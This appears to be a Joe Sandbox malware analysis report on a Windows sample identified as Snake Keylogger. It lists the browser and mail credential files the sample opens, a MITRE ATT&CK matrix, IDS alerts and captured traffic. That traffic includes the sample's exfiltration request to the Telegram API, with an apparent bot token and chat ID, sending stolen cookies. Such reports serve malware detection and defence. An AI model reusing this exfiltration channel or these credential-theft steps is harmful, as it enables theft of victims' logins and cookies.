Source: C:\Users\user\Desktop\axN56TZ3PI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\axN56TZ3PI.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\			Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior

Source: Yara match

File source: Process Memory Space: axN56TZ3PI.exe PID: 8888, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match

File source: 0000000C.00000002.6015919161.0000000038091000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 0000000C.00000002.6015919161.00000000381D3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: axN56TZ3PI.exe PID: 8888, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 Registry Run Keys / Startup Folder	11 Process Injection	11 Masquerading	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	1 Email Collection	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 Registry Run Keys / Startup Folder	1 Disable or Modify Tools	LSASS Memory	31 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	Security Account Manager	1 System Network Configuration Discovery	SMB/Windows Admin Shares	1 Data from Local System	3 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	4 File and Directory Discovery	Distributed Component Object Model	1 Clipboard Data	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	115 System Information Discovery	SSH	Keylogging	15 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D7D1D8 CryptUnprotectData,		12_2_37D7D1D8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D7D890 CryptUnprotectData,		12_2_37D7D890

Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.11.20:49734 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.11.20:49733 -> 149.154.167.220:443

Source: Joe Sandbox View	IP Address: 132.226.8.169 132.226.8.169
Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 104.21.64.1 104.21.64.1
Source: Joe Sandbox View	IP Address: 104.21.64.1 104.21.64.1

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.11.20:49723 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49721 -> 142.251.46.174:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.11.20:49726 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.11.20:49731 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.11.20:49728 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.11.20:49729 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.11.20:49732 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.11.20:49725 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.11.20:49727 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.11.20:49730 -> 104.21.64.1:443

Source: axN56TZ3PI.exe	Virustotal: Detection: 65%			Perma Link
Source: axN56TZ3PI.exe	ReversingLabs: Detection: 57%

Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 076AEFBDh	12_2_076AF00C
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 076AEFBDh	12_2_076AEE20
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 076AFB7Fh	12_2_076AF8C8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37D70D0Dh	12_2_37D70B30
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37D716F8h	12_2_37D70B30
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37D72941h	12_2_37D72690
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37D73080h	12_2_37D72C68
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37D73080h	12_2_37D72FAE
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37D7FA1Fh	12_2_37D7F778
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	12_2_37D70673
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then mov esp, ebp	12_2_37D7F4E1
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	12_2_37D70853
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	12_2_37D70040
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37D87437h	12_2_37D87190
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37D8B00Fh	12_2_37D8AD40
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37D8AA23h	12_2_37D8A6E8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37D86277h	12_2_37D85FD0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37D84867h	12_2_37D845C0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37D8189Fh	12_2_37D815F8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37D892A1h	12_2_37D88FF8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37D8C2C6h	12_2_37D8BFF8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37D8788Fh	12_2_37D875E8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37D8E2B6h	12_2_37D8DFE8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37D89C87h	12_2_37D899E0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37D8F066h	12_2_37D8ED98
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37D8982Fh	12_2_37D89588
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37D82E57h	12_2_37D82BB0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37D8D076h	12_2_37D8CDA8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37D81447h	12_2_37D811A0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37D88E47h	12_2_37D88BA0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37D829FFh	12_2_37D82758
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37D8DE26h	12_2_37D8DB58
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37D80FEFh	12_2_37D80D48
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37D889EFh	12_2_37D88748
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37D8FE16h	12_2_37D8FB48
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37D85E1Fh	12_2_37D85B78
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37D8440Fh	12_2_37D84168
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37D8BE36h	12_2_37D8BB68
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37D8CBE6h	12_2_37D8C918
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37D83FB7h	12_2_37D83D10
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37D8EBD6h	12_2_37D8E908
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37D825A7h	12_2_37D82300
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37D859C7h	12_2_37D85720
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37D8B9A6h	12_2_37D8B6D8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37D8556Fh	12_2_37D852C8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37D8D996h	12_2_37D8D6C8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37D80B97h	12_2_37D808F0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37D88597h	12_2_37D882F0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37D8073Fh	12_2_37D80498
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37D8813Fh	12_2_37D87E98
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37D8A537h	12_2_37D8A290
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37D8C756h	12_2_37D8C488
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37D83B5Fh	12_2_37D838B8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37D8F986h	12_2_37D8F6B8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37D8214Fh	12_2_37D81EA8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37D81CF7h	12_2_37D81A50
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37D8B516h	12_2_37D8B248
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37D802E7h	12_2_37D80040
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37D87CE7h	12_2_37D87A40
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37D8E746h	12_2_37D8E478
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37D85117h	12_2_37D84E70
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37D83707h	12_2_37D83460
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37D84CBFh	12_2_37D84A18
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37D832AFh	12_2_37D83008
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37D8A0DFh	12_2_37D89E38
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37D8D506h	12_2_37D8D238
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37D8F4F6h	12_2_37D8F228
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37F664E0h	12_2_37F661E8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37F67800h	12_2_37F67508
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37F610BEh	12_2_37F60DF0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37F68FE8h	12_2_37F68CF0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37F622C6h	12_2_37F61FF8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37F6BAF0h	12_2_37F6B7F8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37F6D2D8h	12_2_37F6CFE0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37F642B6h	12_2_37F63FE8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37F6FDE0h	12_2_37F6FAE8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37F6079Eh	12_2_37F604D0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37F67CC8h	12_2_37F679D0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37F6A7D0h	12_2_37F6A4D8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37F6BFB8h	12_2_37F6BCC0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37F63996h	12_2_37F636C8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37F6EAC0h	12_2_37F6E7C8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37F669A8h	12_2_37F666B0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37F65986h	12_2_37F656B8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37F694B0h	12_2_37F691B8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37F6AC98h	12_2_37F6A9A0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37F63076h	12_2_37F62DA8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37F6D7A0h	12_2_37F6D4A8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37F6EF88h	12_2_37F6EC90
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37F65066h	12_2_37F64D98
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37F68190h	12_2_37F67E98
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37F6154Eh	12_2_37F61280
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37F69978h	12_2_37F69680
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37F62756h	12_2_37F62488
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37F6C480h	12_2_37F6C188
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37F6DC68h	12_2_37F6D970
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37F64747h	12_2_37F64478
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37F66E70h	12_2_37F66B78
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37F60C2Eh	12_2_37F60960
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37F68658h	12_2_37F68360
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37F61E36h	12_2_37F61B68
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37F6B160h	12_2_37F6AE68
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37F6C948h	12_2_37F6C650
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37F63E26h	12_2_37F63B58
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37F6F450h	12_2_37F6F158
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37F6030Eh	12_2_37F60040
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37F67338h	12_2_37F67040
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37F65EB7h	12_2_37F65B48
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37F69E40h	12_2_37F69B48
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37F6B628h	12_2_37F6B330
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37F63506h	12_2_37F63238
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37F6E130h	12_2_37F6DE38
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37F6F918h	12_2_37F6F620
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37F654F6h	12_2_37F65228
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37F68B20h	12_2_37F68828
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37F619B7h	12_2_37F61710
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37F6A308h	12_2_37F6A010
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37F62BE6h	12_2_37F62918
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37F6CE10h	12_2_37F6CB18
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37F6E5F8h	12_2_37F6E300
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 37F64BD6h	12_2_37F64908
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 3A3F1B20h	12_2_3A3F1828
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 3A3F1190h	12_2_3A3F0E98
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 3A3F0339h	12_2_3A3F0040
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 3A3F0800h	12_2_3A3F0508
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 3A3F1658h	12_2_3A3F1360
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then jmp 3A3F0CC8h	12_2_3A3F09D0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	12_2_3AAE3F70
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	12_2_3AAE098A
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	12_2_3AAE0AD0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	12_2_3AAE0A18
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	12_2_3AAE3F62

Source: global traffic	HTTP traffic detected: GET /xml/102.129.252.156 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/102.129.252.156 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/102.129.252.156 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/102.129.252.156 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/102.129.252.156 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/102.129.252.156 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/102.129.252.156 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/102.129.252.156 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/102.129.252.156 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:878411%0D%0ADate%20and%20Time:%2007/03/2025%20/%2016:28:09%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20878411%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7490462916:AAEz89H3J9AylfxjXRLV5diILDx9KkgRSME/sendDocument?chat_id=7160883909&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0ACookies%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd5d95116c0067Host: api.telegram.orgContent-Length: 2073

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1ivLDAHuepFQ0Eiv_QNfq2F2eHEBNobhp HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1ivLDAHuepFQ0Eiv_QNfq2F2eHEBNobhp&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report axN56TZ3PI.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Snake Keylogger

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
axN56TZ3PI.exe